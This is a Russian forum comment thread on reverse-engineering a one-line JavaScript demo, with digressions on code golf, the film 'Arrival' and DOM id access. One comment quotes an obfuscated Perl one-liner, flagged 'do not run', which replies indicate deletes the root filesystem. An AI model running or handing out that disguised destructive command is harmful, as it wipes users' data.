Реверс-инжиниринг одной строчки JavaScript

[pm_wanderer]

Очень круто.
Вспомнил assembler и вирус на байткоде, размером в 21 байт.

[Victor_Grigoryev]

Программа из одной строчки на Perl также входит в золотой фонд «Краткость — сестра таланта».

[mwizard]

это та, которая патч Бармина?

[nckma]

Но разве сейчас не в моде на первом месте читаемость кода?

[TheShock]

Увы, сейчас в моде «модность», а не «читаемость». Пишут не кратко и многословно, при этом — максимально непонятно, чтобы как можно больше усложнить вход новичкам, а также поддержку кода.

[Astrohas]

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

эта ли программа?

внимание

не запускать!

[Cyberneticist]

дык уже не работает — надо /* или ключ --no-preserve-root прописывать

[mafia8]

Откуда картинка?

[Dark_Daiver]

Вероятно из фильма «Прибытие» (2016)

[old_bear]

Прибытие

[AllexIn]

Если вы хоть чуть-чуть интересовались темой, «как составить понятное послание инопланетному разуму», также если вы лингвист или хоть что-то знаете о математике — не смотрите. Будете весь фильм фейспалмить на моментах типа тыкания в себя рукой или писанины руками имён…

[bjornd]

Если вы специалист в робототехнике, не смотрите «Матрица»
Если вы физик-теоретик, не смотрите «Интерстеллар»
Если вы конструируете космические корабли, не смотрите «Звездные войны»
Если вы работаете в ФБР, не смотрите «Семь» и «Молчание ягнят»
Если вы сидели в немецком концлагере, не смотрите «Жизнь прекрасна»
Если вы участвовали в высадке в Нормандии, не смотрите «Спаси рядового Райана»
Если вы сидели в тюрьме, не смотрите «Побег из Шоушенка»
Если вы чванливый эксперт, вообще держитесь подальше от массовой культуры

[AllexIn]

Не совсем. Я, например, без пробелм смотрю пердежные комедии.
Ну я жду что будет пердежная комедия, её и получаю.
Прибытие везде называли лучшим НФ фильмом 2016, фильм который берет не спецэффектами, а мыслью, фильм, который показывает работу лингвиста такой, какая она есть. Я ждал, что это будет хотя бы чуть-чуть экранизация хотя бы послания Аресибо.
Понятно, что есть критика Аресибо, есть более новые и актуальные работы. Но ок, Аресибо тоже сойдет. А в итоге? В итоге фильм просто плюет в лицо всем, кто хотя бы думал об универсальном общении.
Я не говорю про специалистов. Я сам не специалист, ни в математики, ни в лингвистике, и универсальным общением интересуюсь чисто из любопытства. Но даже мне хватает знаний чтобы фейспалмить.

Спойлер

А это фильм, в котором ГЛАВНОЕ достижение героини: ПОКАЗ. ТАБЛИЧКИ. С. ИМЕНЕМ.
Серьезно. Она показала табличку, и получила фидбек от пришельцев. Всё. Более нам никакой активности с её стороны не показывают. И это объявляют самым крутым достижением с начала изучения пришельцев.

[bjornd]

без пробелм смотрю пердежные комедии

Больше вопросов не имею

[RussDragon]

Поздравляю, вы совершенно не поняли посыл фильм/книги. Не знаю, кто и что писал про него, но Прибытие – экранизация «История твоей жизни», НФ повести под авторством Теда Чана.

Главная идея – язык формирует мышление и мировозрение. Что, собственно, и показывается на протяжении всего фильма.

[AllexIn]

Да как её не понять, когда там прямым текстом в середине фильма «они думают подругому, одновременно зная и начало и конец фразы» и «их дар — это язык, он меняет способ мышления».
Но эта идея во-первых — достаточно серьезно критикуется. Особенно на фоне того, что легко перепутать причину и следствие.
А во-вторых — идея идеей, а история рассказана очень плохо, с игнорированием всех источников и опыта по теме универсального языка.

[vba]

Если вы участвовали в высадке в Нормандии, не смотрите «Спаси рядового Райана»

А я вроде слышал что как раз эпизод с высадкой на "американском" пляже не так уж и далек от реальности, в отличии последующего сюжета.

Я бы тут скорее написал: Если вы участвовали в обороне Москвы в 1941, не смотрите «12 Панфиловцев»

[bjornd]

В одной только статье о фильме на Wikipedia три абзаца исторических неточностей, а представляете сколько их может найти хорошо-подготовленный эксперт? Нет никакого смысла требовать от художественного произведения следования точным историческим и научным фактам, для этого есть документалистика. А вольность обращения с фактами зачастую просто необходима авторам для реализации художественного замысла, хотя еще чаще это приходится делать, чтобы адаптировать произведение для массового рынка. Например в первоначальном сценарии Матрицы машины использовали тела людей для построения вычислительной нейронной сети, но позже для облегчения восприятия зрителем машины стали использовать людей в качестве источника энергии, хоть эта идея и не выдерживает никакой критики с научной точки зрения.

[JackVlg]

8 сезон, 21 серия :)

[marcor]

> каждая зелёная диагональ представляет собой один ряд в нашем графике
То ли у меня они отображаются как синие, то ли я не на то смотрю.

[Spiritschaser]

Хех. Perl тоже был повсюду и на нём писали однострочники.
Надеюсь, JS/ES также закончит.

[Alter2]

Неплохо бы иметь упаковщик который код в такие строчки сжимает.

[OneFive]

Есть такой замечательный сайт как https://www.dwitter.net/top анимация на js в 140 символов.

[CarambaPirat]

А где почитать спецификации как js ссылается на DOM элемент по его id? Быстрый поиск не дал результатов. Может кто знает.
Очень любопытный код. Распарсил в кодепен и в голове. Принцип ясен, но главная функция — это надо было придумать, конечно!

[Odrin]

Если не ошибаюсь, изначально доступ по id элемента сделали в IE, потом другие браузеры переняли эту практику, а позднее это было внесено в спецификацию.

[wd39]

Работаю с Mathieu, он действительно классный специалист и делает потрясающие демки!

[Odrin]

Оказывается, на элементы в JavaScript можно ссылаться по их идентификатору, если id состоит только из букв и цифр.

Это не так, id может быть любым и ссылка на DOM элемент доступна через window['any-id'].

[impfromliga]

ни когда бы не подумал что это интересно такому кол-ву людей. Вообще я таким порой занимаюсь, вот интересный примерчик, если вы хотите еще такого, вот мое творение: codepen.io/impfromliga/pen/KXywWX